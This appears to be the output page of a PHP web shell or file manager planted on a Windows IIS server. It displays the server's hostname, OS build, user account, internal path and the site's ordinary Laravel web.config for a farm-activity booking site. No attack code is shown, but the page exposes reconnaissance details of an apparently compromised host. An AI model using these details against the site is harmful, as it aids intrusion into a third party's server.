HEX
Server: Microsoft-IIS/8.5
System: Windows NT YDAWBH120 6.3 build 9600 (Windows Server 2012 R2 Standard Edition) AMD64
User: tentjecom_web (0)
PHP: 7.4.14
Disabled: NONE
Upload Files
File: D:/HostingSpaces/farmfun/reserveren.farmfun.be/wwwroot/web.config
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
    <system.webServer>
        <rewrite>
            <rules>
                <rule name="Allow LetsEncrypt" patternSyntax="Wildcard" stopProcessing="true">
                    <match url=".well-known/acme-challenge/*" />
                    <action type="None" />
                </rule>
                <rule name="Wintergames Redirect" stopProcessing="true">
                    <match url="^(activiteiten/winterprogramma-farm-expert-games)" />
                    <action type="Redirect" url="https://farmfun.be/activiteiten/wintergames/" />
                </rule>
                <rule name="Redirect index.php to root" stopProcessing="true">
                    <match url="^index.php" />
                    <action type="Redirect" url="/" />
                </rule>
                <rule name="Remove trailing slash" stopProcessing="true">
                    <match url="(.*)/$" />
                    <conditions>
                        <add input="{REQUEST_FILENAME}" matchType="IsFile" negate="true" />
                        <add input="{REQUEST_FILENAME}" matchType="IsDirectory" negate="true" />
                    </conditions>
                    <action type="Redirect" redirectType="Permanent" url="{R:1}" />
                </rule>

                <rule name="Laravel" stopProcessing="true">
                    <match url="^(.*)$" ignoreCase="false" />
                    <conditions logicalGrouping="MatchAll">
                        <add input="{REQUEST_FILENAME}" matchType="IsFile" ignoreCase="false" negate="true" />
                        <add input="{REQUEST_FILENAME}" matchType="IsDirectory" ignoreCase="false" negate="true" />
                    </conditions>
                    <action type="Rewrite" url="/index.php/{R:1}" />
                </rule>
            </rules>
        </rewrite>

        <handlers>
            <!--<remove name="php-7.4" />  = active PHP version -->
            <remove name="php-7.2" />
            <remove name="php-7.1" />
            <remove name="php-5.6" />
        </handlers>

        <directoryBrowse enabled="false" />
        <defaultDocument>
            <files>
                <clear />
                <add value="index.php" />
                <add value="default.aspx" />
                <add value="Default.htm" />
                <add value="Default.asp" />
                <add value="index.htm" />
                <add value="index.html" />
            </files>
        </defaultDocument>
        <httpErrors errorMode="DetailedLocalOnly" existingResponse="Auto">
            <remove statusCode="403" subStatusCode="-1" />
            <error statusCode="403" subStatusCode="-1" prefixLanguageFilePath="" path="/index.php/404" responseMode="ExecuteURL" />
        </httpErrors>
    </system.webServer>
</configuration>